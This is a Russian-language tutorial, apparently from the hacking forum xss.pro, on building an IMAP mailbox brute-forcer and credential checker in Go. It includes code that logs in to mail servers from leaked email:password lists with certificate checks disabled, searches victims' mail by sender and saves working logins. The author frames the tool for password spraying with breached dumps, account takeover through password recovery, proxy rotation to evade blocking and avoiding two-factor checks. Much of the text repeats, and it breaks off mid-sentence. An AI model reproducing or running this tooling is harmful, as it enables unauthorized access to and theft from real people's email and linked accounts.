Автор: miserylord
Эксклюзивно для форума: xss.pro
Насколько сложно написать брутфорс почтовых ящиков? (спойлер: совсем не сложно) Трям! Здравствуйте! Предлагаю познакомиться, меня зовут miserylord. Мне нравится информационная безопасность, программирование (а также женщины, пираты и аниме!). Статья рассказывает, как написать брут почты через IMAP на Go.
Стек протоколов TCP/IP декларирует взаимодействие между участниками сети Интернет. Вам также может быть известна модель OSI. Главное отличие между ними состоит в том, что модель OSI — это скорее структура, в то время как TCP/IP — практическая реализация. Протоколы подразделяются по градациям уровня абстракций, от физического до прикладного уровня. Вам наверняка знаком протокол HTTP, который используется повсеместно для передачи данных, включая авторизацию пользователей (если быть точными, то его расширенная версия HTTPS, к которой добавляется шифрование с использованием TLS).
Для работы с электронной почтой в стеке TCP/IP используются три протокола: SMTP, POP3 и IMAP. Почему их так много и почему просто не использовать HTTP? Во-первых, протоколы для работы с электронной почтой появились раньше, чем HTTP, во-вторых, они обладают определённой специализацией, заточенной под работу с электронными письмами. Рассмотрим каждый из них, чтобы найти различия.
Первым массовым протоколом для электронной почты стал SMTP (Simple Mail Transfer Protocol, или простой протокол передачи почты). В то время все было немного иначе: пользователи запускали почтовый клиент (локальную программу), который извлекал сообщения из файловой системы. На компьютере также работал процесс Mail Transfer Agent (MTA). Если пользователь хотел отправить письмо, он передавал его процессу MTA, который использовал SMTP (работающий поверх TCP) для передачи письма другому пользователю (у которого, в свою очередь, также был запущен процесс почтового агента).
SMTP работает по клиент-серверной модели: каждый компьютер выступает в роли сервера, обслуживая запросы других компьютеров, которые выступают в роли клиентов. SMTP используется для отправки писем от клиента к серверу. Для удаленной загрузки электронной почты с почтового сервера на устройство пользователя используются другие протоколы, такие как POP или IMAP.
POP3 (третья версия протокола Post Office Protocol) — протокол для доступа к электронной почте, которая хранится на почтовом сервере (а не в вашей локальной файловой системе, хотя ваш компьютер также может выступать в качестве сервера). Его работа происходит так: почтовый клиент подключается к POP3 серверу, используя порт 110 (или 995 для защищенного соединения), сервер запрашивает имя учетной записи и пароль. После успешного входа сервер открывает ваш файл писем на почтовом сервере и предоставляет доступ к его содержимому. Затем он загружает содержимое писем на ваш компьютер (клиент). Вот и вся его работа.
Как вы могли заметить, POP3 не поддерживает синхронизацию между несколькими устройствами. POP3 сервер действует как интерфейс между почтовым клиентом и текстовым файлом, содержащим ваши сообщения.
Для возможности синхронизированного подключения с разных клиентов используется более продвинутый протокол IMAP (Internet Message Access Protocol). С его помощью все изменения, сделанные на одном устройстве, отражаются на всех остальных устройствах. Кроме того, поиск осуществляется непосредственно на сервере, также протокол позволяет организовать письма с помощью папок, которые также хранятся на сервере.
IMAP в целом аналогичен SMTP — это клиент-серверный протокол, работающий поверх TCP. Клиенты отправляют команды, а серверы отвечают. Обмен начинается с аутентификации клиента и указания почтового ящика, к которому он хочет получить доступ. В отличие от POP3, который загружает и обычно удаляет сообщения с сервера, IMAP позволяет работать с письмами непосредственно на сервере, обеспечивая синхронизацию между устройствами.
Стоит отметить, что когда пользователь отправляет сообщение, клиент не использует IMAP; вместо этого он использует SMTP.
Резюмируя, IMAP позволяет управлять и читать электронные сообщения на сервере, сохраняя их статус и папки, в то время как POP3 загружает сообщения с сервера на клиентское устройство. SMTP используется для отправки электронных сообщений между почтовыми серверами.
Цель довольно проста: написать брутфорс для почтовых ящиков через IMAP. Что касается монетизации кода, возможно, вы уже видите проблему. Теоретически программа позволяет осуществлять атаку "password spraying" (если получен доступ к почте, то через восстановление можно получить доступ к большинству аккаунтов, где используется данная почта) на основе дампов баз данных сайта X. Проблема в том, что IMAP-сервер не открыт по умолчанию, и не каждый открытый IMAP-сервер позволяет установить пароль, идентичный паролю от почты для веб-клиента, а в ряде случаев вообще не позволяет его установить.
Я провел небольшой ресерч публичных файлов valid.txt и могу предположить, что существует множество почтовых сервисов с открытым IMAP по умолчанию. Также встречались доступы для сервисов, где IMAP был открыт с установленным паролем сервиса. То есть программа реализует эту атаку, но не для всех почтовых доступов. Выходом может стать брутфорс веб-интерфейса почтового клиента (главное, не поймать второй фактор).
После определения цели можно приступить к проработке пользовательских историй, на основе которых будет проектироваться логика. История проста: пользователь передает программе файл с доступами. Он хочет получить валидные данные и сразу же искать нужные ему письма, подсчитывать их количество, сохранять валидные результаты.
Рассписывать логику подробнее нет никакого смысла, она умещается в голове. Скажу только, что в первую очередь брутфорс почтовых ящиков это почтовый клиент, типа, Thunderbird, а только во вторую — брутфорс типа Hydra.
Код будет написан на языке Golang. Почему Golang? Он оптимально подходит для решения данной задачи. Если искать обоснование, то этот язык обладает мощными возможностями (включая работу с сетью), высокой скоростью выполнения, значительной популярностью. В нем изначально заложены возможности работы с параллелизмом, а также он имеет относительно низкий порог входа (по сравнению с C или Rust). Однако нет лучшего языка программирования, чем тот, который решает задачу.
Даже если вы не знакомы с Go, но при этом работали с другими языками программирования, код с объяснением будет вам понятен.
Создаем файл main.go в корневой директории проекта.
Тестируем на примере почтового сервера Yahoo. Адреса сервера и порт находим в документации — ссылка. Для успешного подключения необходимо открыть доступ по IMAP. Это делается в настройках веб-клиента (для Yahoo по адресу login.yahoo.com/myaccount/security необходимо сгенерировать пароль для программы и указать именно его).
(Реализовать подключение с помощью POP3 можно с помощью такой функции, не буду разбирать её подробно, поскольку не включил её в итоговый проект. Она не использует сторонние пакеты.)
Внесем изменения в файл main.go
Адрес для IMAP-сервера outlook.com, также как и ранее для Yahoo, взят из документации. Существует множество почтовых серверов. Каким образом можно добавить потенциально все из них?
Домены инкапсулируют IP-адреса с использованием протокола DNS (Domain Name System). С помощью DNS можно получить MX записи. Записи об обмене почтой указывают, какие почтовые серверы принимают электронную почту для домена, однако они работают с SMTP и не подходят для задачи с IMAP.
Большинство IMAP-серверов содержат слово "imap" в домене, и многие из них используют порт 993 (но это не обязательно).
Можно сделать следующее. Для поиска доменов можно использовать программу Sublist3r. Клонируем репозиторий и устанавливаем зависимости. Для поиска поддоменов для домена yahoo.com: `python3 sublist3r.py -d yahoo.com > res.txt` команда найдет множество поддоменов для домена Yahoo и сохранит результат в файле res.txt. Затем можно использовать команду: `grep 'imap' res.txt` Это извлечет только строки, содержащие "imap", и вы сможете получить адреса IMAP-серверов Yahoo. С помощью небольшого скрипта на bash или кода на Go можно автоматизировать этот процесс для всех почтовых доменов. Список доменов можно найти на GitHub здесь.
Вызываем функции по поиску писем и поиску писем от конкретных отправителей, а также функцию сохранения.
Основная часть проекта уже завершена. Реализованы функции для подключения к IMAP серверу, поиска по отправителю, сохранения результата и валидации данных.
Реализация конкурентного кода может приводить к ряду проблем, которые необходимо учитывать:
Каждая программа на Go выполняется минимум в одной горутине. Для запуска горутины используется ключевое слово go. Горутины запускаются конкурентно, но не обязательно выполняются параллельно.
Для обмена данными используются каналы, которые позволяют горутинам общаться между собой. В основе каналов лежат принципы CSP. Для синхронизации доступа к данным используются мьютексы, которые позволяют только одной горутине в определенный момент времени выполнять код, защищенный мьютексом (например, получение доступа к файлу).
Мы также ограничены потенциальными блокировками со стороны IMAP сервера. Хотя блокировка по IP возможна, судя по моим тестам, она не наступает мгновенно. Однако вероятно, что это произойдет, если мы отправим тысячи запросов сразу. Для обхода этой проблемы можно использовать прокси. Это потребует либо самостоятельного поиска рабочих прокси (резидентских или бесплатных), либо подключения к API стороннего сервиса.
Вынесем логику прохода по строкам с доступами в отдельную функцию.
Наконец, изменим код в основной функции.
Проект по написанию брутфорса почтовых ящиков по IMAP завершен!
Исходный код доступен в прикрепленном файле.
Существует несколько фреймворков для создания графических интерфейсов на Golang. Самые популярные - go-gtk, fyne, qt, и еще с десяток менее известных. Однако все они довольно блеклые (возможно, за исключением Qt), и большинство очень плохо документировано. Среди прочих существует фреймворк - Wails. Что такое Wails? Это электрон здорового человека!
Electron - это фреймворк, который позволяет создавать приложения с графическим интерфейсом на JavaScript (HTML, CSS). Wails также берет концепцию JavaScript для фронтенд-части. Если вы не работали с JavaScript, то возможно, следует выбрать другой фреймворк для GUI. Впрочем, создание графических интерфейсов связкой HTML, CSS, JavaScript - довольно перспективная идея.
Если вы работали с электроном, то должны помнить, что для того чтобы объявить простую функцию, необходимо добавить её в конфиг в main.js, написать её логику в renderer.js, добавить её в preload.js (!), подключить к index.html. Почему preload не генерируется автоматически? Почему конфиг не генерируется автоматически? Этот фреймворк должен быть как один файл с фронтендом (графическим интерфейсом), второй с бекендом. Всё. Зачем там столько бойлерплейта? (сделаю предположение, что для гибкости, ведь мы по сути работаем в двух рантаймах). В Wails эти участки кода генерируются автоматически. По сути, вы пишете функции на Go, и просто импортируете её в index.html (и вызываете по кнопке). Всё!
Также к электрону можно подключить современные фреймворки типа React, Vue.js, Angular. Как? Возможно, в документации есть команда-шаблон, которая инициализирует проект сразу с одним из них? Нет, иди на хутор бабочек ловить. Нужно ли говорить, что такие шаблоны есть в Wails?
Безусловно, Wails уступает в популярности электрону, тем не менее на нём достаточно примеров кода, и, вроде, у них есть сервер в Discord с комьюнити.
Устанавливаем командой `go install github.com/wailsapp/wails/v2/cmd/wails@latest`.Инициализируем проект, на выбор есть шаблоны под самые популярные фронтенд-фреймворки (с TypeScript или без него) - https://wails.io/docs/gettingstarted/firstproject. Я выберу React, команда `wails init -n imap -t react`. `wails -help` - документация. У вас также должен быть установлен npm.
В файле main.go мы можем задать конфигурацию для окна приложения.
Приступаем к интерфейсу. В папке frontend, внутри которой находится папка src, в файле app.jsx напишем небольшой код для демонстрации работы фреймворка. В целом, я оставлю всё без изменений, за исключением того, что пользователь будет передавать путь к файлу, используя оконный менеджер. Из всех функций будет только кнопка "Старт", которая вызывает функцию main для брутфорса IMAP серверов. Подробнее остановимся на взаимодействии кода на Go с JavaScript.
Если вам не понятен код на React, стоит немного изучить React. В целом, он построен на использовании хуков. Хуки представляют собой функции со своим API, каждый из которых делает что-то своё. В коде, например, используется хук useState, который изменяет состояние переменной. То, что передается в скобках после useState(''), - это начальное состояние. Когда мы вызываем set, мы изменяем его на новое значение, при этом к переменной обращаемся через первый аргумент из [] Также код пишется в файлах JSX, которые представляют собой смесь HTML и JS в рамках одного файла.
Переходим в app.go - переносим код с проекта выше, за исключением небольших изменений. Также реализуем функцию выбора файла с помощью оконного менеджера.
Теперь код для брутфорса почтовых ящиков упакован в графический интерфейс. Для красоты дизайна мы можем заморочиться с CSS.
Как по мне, очень интересный фреймворк, и если вы планируете создавать графические приложения, стоит присмотреться!
Эксклюзивно для форума: xss.pro
Насколько сложно написать брутфорс почтовых ящиков? (спойлер: совсем не сложно) Трям! Здравствуйте! Предлагаю познакомиться, меня зовут miserylord. Мне нравится информационная безопасность, программирование (а также женщины, пираты и аниме!). Статья рассказывает, как написать брут почты через IMAP на Go.
Разделы
- "От гонцов и голубей до IMAP и POP3" - особенности предметной области, знакомство с почтовыми протоколами, работа почтового сервера.
- "Идея, код." - определение задач, проектирование логики, написание программного кода.
- "Быстрее пули" - добавление горутин для ускорения работы.
- "Цвет, краски, кнопки" - использование графического интерфейса с фреймворком Wails.
- Заключение.
Протоколы
Согласно закону Конвея, бизнес-процессы компаний обречены повторять её структуру. Человеческие интеракции основаны на масках, контексте неявных соглашений и правилах общения. Повторяя структуру, сеть использует протоколы взаимодействия и правила передачи информации, совокупность которых образует стек.Стек протоколов TCP/IP декларирует взаимодействие между участниками сети Интернет. Вам также может быть известна модель OSI. Главное отличие между ними состоит в том, что модель OSI — это скорее структура, в то время как TCP/IP — практическая реализация. Протоколы подразделяются по градациям уровня абстракций, от физического до прикладного уровня. Вам наверняка знаком протокол HTTP, который используется повсеместно для передачи данных, включая авторизацию пользователей (если быть точными, то его расширенная версия HTTPS, к которой добавляется шифрование с использованием TLS).
Для работы с электронной почтой в стеке TCP/IP используются три протокола: SMTP, POP3 и IMAP. Почему их так много и почему просто не использовать HTTP? Во-первых, протоколы для работы с электронной почтой появились раньше, чем HTTP, во-вторых, они обладают определённой специализацией, заточенной под работу с электронными письмами. Рассмотрим каждый из них, чтобы найти различия.
SMTP, POP3, IMAP
Прежде чем перейти к почтовым протоколам, важно упомянуть о клиент-серверной модели. Клиент-серверная архитектура представляет собой абстракцию и метод организации работы компьютерных систем, в которой присутствуют два типа компьютеров: клиенты и серверы. Клиенты являются потребителями, а серверы — поставщиками услуг.Первым массовым протоколом для электронной почты стал SMTP (Simple Mail Transfer Protocol, или простой протокол передачи почты). В то время все было немного иначе: пользователи запускали почтовый клиент (локальную программу), который извлекал сообщения из файловой системы. На компьютере также работал процесс Mail Transfer Agent (MTA). Если пользователь хотел отправить письмо, он передавал его процессу MTA, который использовал SMTP (работающий поверх TCP) для передачи письма другому пользователю (у которого, в свою очередь, также был запущен процесс почтового агента).
SMTP работает по клиент-серверной модели: каждый компьютер выступает в роли сервера, обслуживая запросы других компьютеров, которые выступают в роли клиентов. SMTP используется для отправки писем от клиента к серверу. Для удаленной загрузки электронной почты с почтового сервера на устройство пользователя используются другие протоколы, такие как POP или IMAP.
POP3 (третья версия протокола Post Office Protocol) — протокол для доступа к электронной почте, которая хранится на почтовом сервере (а не в вашей локальной файловой системе, хотя ваш компьютер также может выступать в качестве сервера). Его работа происходит так: почтовый клиент подключается к POP3 серверу, используя порт 110 (или 995 для защищенного соединения), сервер запрашивает имя учетной записи и пароль. После успешного входа сервер открывает ваш файл писем на почтовом сервере и предоставляет доступ к его содержимому. Затем он загружает содержимое писем на ваш компьютер (клиент). Вот и вся его работа.
Как вы могли заметить, POP3 не поддерживает синхронизацию между несколькими устройствами. POP3 сервер действует как интерфейс между почтовым клиентом и текстовым файлом, содержащим ваши сообщения.
Для возможности синхронизированного подключения с разных клиентов используется более продвинутый протокол IMAP (Internet Message Access Protocol). С его помощью все изменения, сделанные на одном устройстве, отражаются на всех остальных устройствах. Кроме того, поиск осуществляется непосредственно на сервере, также протокол позволяет организовать письма с помощью папок, которые также хранятся на сервере.
IMAP в целом аналогичен SMTP — это клиент-серверный протокол, работающий поверх TCP. Клиенты отправляют команды, а серверы отвечают. Обмен начинается с аутентификации клиента и указания почтового ящика, к которому он хочет получить доступ. В отличие от POP3, который загружает и обычно удаляет сообщения с сервера, IMAP позволяет работать с письмами непосредственно на сервере, обеспечивая синхронизацию между устройствами.
Стоит отметить, что когда пользователь отправляет сообщение, клиент не использует IMAP; вместо этого он использует SMTP.
Резюмируя, IMAP позволяет управлять и читать электронные сообщения на сервере, сохраняя их статус и папки, в то время как POP3 загружает сообщения с сервера на клиентское устройство. SMTP используется для отправки электронных сообщений между почтовыми серверами.
Идея
Идея лежит в основе разработки программного обеспечения. За ней следует план. У вас может быть невероятно чудесная идея, например, увеличение урожайности зерна, однако, если ваш план заключается в уничтожении воробьев, у меня для вас плохие новости.Цель довольно проста: написать брутфорс для почтовых ящиков через IMAP. Что касается монетизации кода, возможно, вы уже видите проблему. Теоретически программа позволяет осуществлять атаку "password spraying" (если получен доступ к почте, то через восстановление можно получить доступ к большинству аккаунтов, где используется данная почта) на основе дампов баз данных сайта X. Проблема в том, что IMAP-сервер не открыт по умолчанию, и не каждый открытый IMAP-сервер позволяет установить пароль, идентичный паролю от почты для веб-клиента, а в ряде случаев вообще не позволяет его установить.
Я провел небольшой ресерч публичных файлов valid.txt и могу предположить, что существует множество почтовых сервисов с открытым IMAP по умолчанию. Также встречались доступы для сервисов, где IMAP был открыт с установленным паролем сервиса. То есть программа реализует эту атаку, но не для всех почтовых доступов. Выходом может стать брутфорс веб-интерфейса почтового клиента (главное, не поймать второй фактор).
После определения цели можно приступить к проработке пользовательских историй, на основе которых будет проектироваться логика. История проста: пользователь передает программе файл с доступами. Он хочет получить валидные данные и сразу же искать нужные ему письма, подсчитывать их количество, сохранять валидные результаты.
Рассписывать логику подробнее нет никакого смысла, она умещается в голове. Скажу только, что в первую очередь брутфорс почтовых ящиков это почтовый клиент, типа, Thunderbird, а только во вторую — брутфорс типа Hydra.
Код будет написан на языке Golang. Почему Golang? Он оптимально подходит для решения данной задачи. Если искать обоснование, то этот язык обладает мощными возможностями (включая работу с сетью), высокой скоростью выполнения, значительной популярностью. В нем изначально заложены возможности работы с параллелизмом, а также он имеет относительно низкий порог входа (по сравнению с C или Rust). Однако нет лучшего языка программирования, чем тот, который решает задачу.
Даже если вы не знакомы с Go, но при этом работали с другими языками программирования, код с объяснением будет вам понятен.
Код. Авторизация на почтовом сервере
Основная задача — это авторизация на почтовый сервер, с неё и начнём. Инициализируем проект командой `go mod init imap`. Создаём папку auth в корневой директории с файлом auth.go.
C-подобный:
// 1
package auth
import (
"crypto/tls"
"fmt"
"log"
// 2
"github.com/emersion/go-imap/client"
)
// 3
type Config struct {
Server string
Port int
Username string
Password string
}
// 4
func Login(cfg Config) (*client.Client, error) {
// 5
c, err := client.DialTLS(fmt.Sprintf("%s:%d", cfg.Server, cfg.Port), &tls.Config{InsecureSkipVerify: true})
if err != nil {
// 6
return nil, fmt.Errorf("не удалось подключиться к серверу: %w", err)
}
// 7
log.Println("Подключение успешно")
// 8
if err := c.Login(cfg.Username, cfg.Password); err != nil {
return nil, fmt.Errorf("не удалось выполнить вход: %w", err)
}
// 9
log.Println("Вход выполнен успешно")
// 10
return c, nil
}
- В пакете auth будет реализована функция аутентификации на почтовый сервер.
- Помимо стандартных пакетов, используется пакет `github.com/emersion/go-imap`
- Config определяет структуру данных для конфигурационных параметров IMAP сервера, он состоит из адреса сервера, порта, а также учетных данных.
- Функция Login принимает объект конфига и возвращает указатель на клиент IMAP и ошибку.
- Устанавливаем TLS-соединение с сервером IMAP, пропуская проверку валидности сертификата.
- Если произошла ошибка при установке соединения, возвращаем nil и ошибку.
- Логируем успешное подключение.
- Выполняем аутентификацию на сервере IMAP с полученным именем пользователя и паролем.
- Логируем успешный вход.
- Возвращаем клиент и nil ошибки (клиент инициализирован и аутентифицирован успешно).
Создаем файл main.go в корневой директории проекта.
C-подобный:
package main
import (
// 1
"imap/auth"
"log"
)
func main() {
// 2
cfg := auth.Config{
Server: "imap.mail.yahoo.com",
Port: 993,
Username: "johndoe@yahoo.com",
Password: "123456",
}
// 3
client, err := auth.Login(cfg)
// 4
if err != nil {
log.Fatalf("Ошибка при аутентификации: %v", err)
}
// 5
defer client.Logout()
// 6
log.Println("Клиент готов к использованию")
}
- Импортируем внутренний пакет.
- Создаём переменную cfg типа auth.Config и инициализируем её значениями адреса сервера, порта и данных для аутентификации.
- Вызываем ранее написанную функцию Login.
- Логируем ошибку, если она не равна nil.
- Закрываем соединение.
- Логируем успешный результат.
Тестируем на примере почтового сервера Yahoo. Адреса сервера и порт находим в документации — ссылка. Для успешного подключения необходимо открыть доступ по IMAP. Это делается в настройках веб-клиента (для Yahoo по адресу login.yahoo.com/myaccount/security необходимо сгенерировать пароль для программы и указать именно его).
(Реализовать подключение с помощью POP3 можно с помощью такой функции, не буду разбирать её подробно, поскольку не включил её в итоговый проект. Она не использует сторонние пакеты.)
C-подобный:
package auth
import (
"bufio"
"crypto/tls"
"fmt"
"log"
"net"
"strings"
)
type Config struct {
Server string
Port int
Username string
Password string
}
type Client struct {
conn net.Conn
reader *bufio.Reader
}
func (c *Client) Quit() {
c.sendCommand("QUIT")
c.conn.Close()
}
func (c *Client) sendCommand(cmd string) (string, error) {
_, err := fmt.Fprintf(c.conn, "%s\r\n", cmd)
if err != nil {
return "", err
}
response, err := c.reader.ReadString('\n')
if err != nil {
return "", err
}
if !strings.HasPrefix(response, "+OK") {
return response, fmt.Errorf("неудачная команда: %s", response)
}
return response, nil
}
func Login(cfg Config) (*Client, error) {
conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", cfg.Server, cfg.Port), &tls.Config{InsecureSkipVerify: true})
if err != nil {
return nil, fmt.Errorf("не удалось подключиться к серверу: %w", err)
}
reader := bufio.NewReader(conn)
_, err = reader.ReadString('\n')
if err != nil {
return nil, fmt.Errorf("ошибка при чтении приветственного сообщения: %w", err)
}
client := &Client{
conn: conn,
reader: reader,
}
log.Println("Подключение успешно")
_, err = client.sendCommand(fmt.Sprintf("USER %s", cfg.Username))
if err != nil {
return nil, fmt.Errorf("ошибка при отправке команды USER: %w", err)
}
_, err = client.sendCommand(fmt.Sprintf("PASS %s", cfg.Password))
if err != nil {
return nil, fmt.Errorf("ошибка при отправке команды PASS: %w", err)
}
log.Println("Вход выполнен успешно")
return client, nil
}
Адреса IMAP-серверов
Внесем изменения в файл main.go
C-подобный:
package main
import (
"bufio"
"log"
"imap/auth"
"os"
"strings"
)
// 1
var imapServers = map[string]string{
"yahoo.com": "imap.mail.yahoo.com",
"outlook.com": "outlook.office365.com",
}
// 2
func getIMAPServer(domain string) (string, bool) {
server, exists := imapServers[domain]
if !exists {
server = "imap." + domain
}
return server, true
}
func main() {
// 3
file, err := os.Open("emails.txt")
if err != nil {
log.Fatalf("Не удалось открыть файл: %v", err)
}
defer file.Close()
// 4
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 2 {
log.Printf("Некорректная строка: %v", line)
continue
}
// 5
email := parts[0]
password := parts[1]
domain := strings.Split(email, "@")[1]
// 6
server, exists := getIMAPServer(domain)
if !exists {
log.Printf("IMAP сервер для домена %v не найден", domain)
continue
}
cfg := auth.Config{
Server: server,
Port: 993,
Username: email,
Password: password,
}
client, err := auth.Login(cfg)
if err != nil {
log.Printf("Ошибка при аутентификации для %v: %v", email, err)
continue
}
defer client.Logout()
log.Printf("Клиент для %v готов к использованию", email)
}
if err := scanner.Err(); err != nil {
log.Fatalf("Ошибка при чтении файла: %v", err)
}
}
- Создаем карту, в которой содержатся адреса IMAP-серверов для заданных доменов.
- Функция getIMAPServer принимает домен и возвращает IMAP-сервер. Также делается предположение, что для адресов не заданных доменов будет использоваться формат imap.домен почты (хотя это не обязательно, но может сработать в ряде случаев).
- Начинаем работу с файлами, открываем файл "emails.txt", в котором будут потенциальные доступы.
- Читаем файл построчно и для каждой строки пытаемся подключиться к почтовому серверу.
- Каждая строка разбивается на две части по символу :, где первая часть - адрес электронной почты, а вторая - пароль. Из адреса электронной почты извлекается домен.
- Получаем адрес IMAP-сервера.
Адрес для IMAP-сервера outlook.com, также как и ранее для Yahoo, взят из документации. Существует множество почтовых серверов. Каким образом можно добавить потенциально все из них?
Домены инкапсулируют IP-адреса с использованием протокола DNS (Domain Name System). С помощью DNS можно получить MX записи. Записи об обмене почтой указывают, какие почтовые серверы принимают электронную почту для домена, однако они работают с SMTP и не подходят для задачи с IMAP.
Большинство IMAP-серверов содержат слово "imap" в домене, и многие из них используют порт 993 (но это не обязательно).
Можно сделать следующее. Для поиска доменов можно использовать программу Sublist3r. Клонируем репозиторий и устанавливаем зависимости. Для поиска поддоменов для домена yahoo.com: `python3 sublist3r.py -d yahoo.com > res.txt` команда найдет множество поддоменов для домена Yahoo и сохранит результат в файле res.txt. Затем можно использовать команду: `grep 'imap' res.txt` Это извлечет только строки, содержащие "imap", и вы сможете получить адреса IMAP-серверов Yahoo. С помощью небольшого скрипта на bash или кода на Go можно автоматизировать этот процесс для всех почтовых доменов. Список доменов можно найти на GitHub здесь.
Поиск писем по отправителю
Создадим папку emails с файлом emailutils.go для реализации функций по поиску писем от отправителей. Сначала получим все письма с почты.
C-подобный:
package emailutils
import (
"github.com/emersion/go-imap"
"github.com/emersion/go-imap/client"
)
// 1
func FetchEmails(client *client.Client) ([]*imap.Message, error) {
// 2
mbox, err := client.Select("INBOX", false)
if err != nil {
return nil, err
}
// 3
seqset := new(imap.SeqSet)
seqset.AddRange(1, mbox.Messages)
// 4
messages := make(chan *imap.Message, 10)
done := make(chan error, 1)
go func() {
done <- client.Fetch(seqset, []imap.FetchItem{imap.FetchEnvelope}, messages)
}()
// 5
var result []*imap.Message
for msg := range messages {
result = append(result, msg)
}
// 6
if err := <-done; err != nil {
return nil, err
}
// 7
return result, nil
}
- Функция принимает клиент, подключенный к почтовому серверу, и возвращает массив указателей на imap.Message и ошибку.
- Функция Select используется для выбора почтового ящика "INBOX", который является основным ящиком для входящих сообщений.
- Получаем все сообщения из ящика. imap.SeqSet используется для указания диапазона сообщений, которые нужно извлечь. Создается объект seqset, который включает в себя диапазон сообщений от 1 до mbox.Messages (количество сообщений в ящике).
- Создаются каналы messages для получения сообщений и done для отслеживания завершения операции. Затем запускается анонимная горутина, которая вызывает client.Fetch для извлечения сообщений в указанном диапазоне seqset. imap.FetchEnvelope указывает, что нужно извлечь только базовую информацию о каждом сообщении (заголовок, отправитель, получатель и т.д.).
- Происходит итерация по каналу messages для сбора полученных сообщений в result.
- После завершения извлечения сообщений проверяется канал done на наличие ошибки. Если ошибка есть, функция возвращает nil и ошибку.
- Если все прошло успешно, функция возвращает result (массив сообщений) и nil как ошибку.
C-подобный:
// 1
func FilterBySender(messages []*imap.Message, senders ...string) ([]*imap.Message, map[string]int) {
// 2
filteredMessages := []*imap.Message{}
count := make(map[string]int)
// 3
for _, sender := range senders {
count[sender] = 0
}
// 4
for _, msg := range messages {
for _, sender := range senders {
// 5
from := msg.Envelope.From[0]
if from != nil && from.Address() == sender {
filteredMessages = append(filteredMessages, msg)
count[sender]++
}
}
}
// 6
return filteredMessages, count
}
- Получаем указатель на массив сообщений, а также переменное число аргументов типа string, по которым будет производиться поиск.
- Инициализация переменных: пустой слайс для хранения отфильтрованных сообщений и карта для подсчета количества сообщений от каждого отправителя.
- В этом цикле для каждого отправителя инициализируется счетчик count.
- Во внешнем цикле происходит итерация по каждому сообщению. Во внутреннем цикле проверяется каждый отправитель из списка senders.
- Извлекается первый отправитель из заголовка сообщения. Если выполняется условие, то сообщение добавляется в filteredMessages, а счетчик для этого отправителя в count увеличивается на 1.
- Функция возвращает два значения: слайс отфильтрованных сообщений и карту, в которой ключами являются адреса отправителей, а значениями - количество сообщений от каждого отправителя.
Сохранение результата
Возвращаемся в main.go и реализуем функцию для сохранения результата в файл. Результаты будут сохраняться в формате: список адресов и количество сообщений от определенных отправителей.
C-подобный:
// 1
func saveCredentialsToFile(email, password string, counts map[string]int) error {
// 2
file, err := os.OpenFile("goods.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer file.Close()
// 3
_, err = file.WriteString(fmt.Sprintf("%s:%s\n", email, password))
if err != nil {
return err
}
// 4
for sender, num := range counts {
if num > 0 {
_, err := file.WriteString(fmt.Sprintf("Сообщений от %s: %d\n", sender, num))
if err != nil {
return err
}
}
}
// 5
return nil
}
- Аргументы функции представляют собой данные для входа и карту счетчиков сообщений от отправителей.
- Открываем файл goods.txt для записи. Флаг os.O_APPEND гарантирует добавление данных в конец файла, os.O_CREATE создает файл, если он не существует, а os.O_WRONLY открывает файл только для записи.
- Записываем строку с данными для входа.
- Записываем количество сообщений от отправителей, если оно больше 0.
- Если все операции прошли успешно, функция возвращает nil, указывая на отсутствие ошибок в процессе сохранения данных в файл.
C-подобный:
messages, err := emailutils.FetchEmails(client)
if err != nil {
log.Printf("Ошибка при получении сообщений для %v: %v", email, err)
continue
}
filteredMessages, count := emailutils.FilterBySender(messages, "name@gmail.com", "support@ty.day")
err = saveCredentialsToFile(email, password, count)
if err != nil {
log.Printf("Ошибка при сохранении учетных данных для %v: %v", email, err)
}
Валидация имейлов
Email адреса должны следовать определенной структуре, которая описана спецификацией и включает следующие правила:- В адресе электронной почты должно присутствовать имя пользователя, за которым следует символ @ (собачка), а затем доменное имя с доменным суффиксом.
- Имя пользователя не может быть длиннее 64 символов, а доменное имя не может быть длиннее 254 символов.
- Адрес электронной почты должен содержать только один символ @.
- Разрешены пробелы и специальные символы: ( ) , : ; < > \ [ ].
- Имя пользователя и адрес электронной почты в целом не могут начинаться или заканчиваться точкой.
- В адресе электронной почты не должно быть двух или более последовательных точек.
C-подобный:
func validateEmail(email string) bool {
// 1
if strings.Count(email, "@") != 1 {
return false
}
// 2
parts := strings.Split(email, "@")
if len(parts) != 2 {
return false
}
user := parts[0]
domain := parts[1]
// 3
if len(user) > 64 || len(domain) > 253 {
return false
}
// 4
if strings.HasPrefix(user, ".") || strings.HasSuffix(user, ".") {
return false
}
if strings.HasPrefix(domain, ".") || strings.HasSuffix(domain, ".") {
return false
}
// 5
if strings.Contains(email, "..") {
return false
}
// 6
allowedSpecialChars := ` ()[]\,:;<>@`
// 7
for _, char := range user {
if !(unicode.IsLetter(char) || unicode.IsDigit(char) || strings.ContainsRune(allowedSpecialChars, char) || char == '.' || char == '-') {
return false
}
}
// 8
for _, char := range domain {
if !(unicode.IsLetter(char) || unicode.IsDigit(char) || char == '.' || char == '-') {
return false
}
}
// 9
return true
}
- Проверка наличия одного символа @.
- Разделение email на части по символу @.
- Проверка того, что длина пользовательской части user не превышает 64 символа, а доменной части domain не превышает 253 символов.
- Проверка того, что пользовательская часть user не начинается и не заканчивается точкой.
- Проверка того, что в строке email нет подряд идущих двух точек ...
- Разрешенные специальные символы.
- Итерация по каждому символу. Проверка того, что каждый символ является буквой, цифрой, одним из разрешенных специальных символов (allowedSpecialChars), точкой или дефисом.
- Итерация по каждому символу в домене.
- Если все проверки прошли успешно, функция возвращает true, указывая на то, что email соответствует заданным критериям формата. Если хотя бы одна проверка не пройдена, функция возвращает false.
C-подобный:
if !validateEmail(email) {
log.Printf("Некорректный адрес электронной почты: %v", email)
continue
}
Основная часть проекта уже завершена. Реализованы функции для подключения к IMAP серверу, поиска по отправителю, сохранения результата и валидации данных.
Параллелизм и конкурентность
Разница между параллелизмом и конкурентностью состоит в том, что конкурентность — это свойство кода, в то время как параллелизм — свойство исполняемой программы. Конкурентный код организован таким образом, что отдельные задачи могут прерывать друг друга и переключаться между собой асинхронно или независимо. Если конкурентность описывает, как задачи могут быть организованы для потенциального одновременного выполнения, то параллелизм касается их фактического одновременного физического выполнения.Реализация конкурентного кода может приводить к ряду проблем, которые необходимо учитывать:
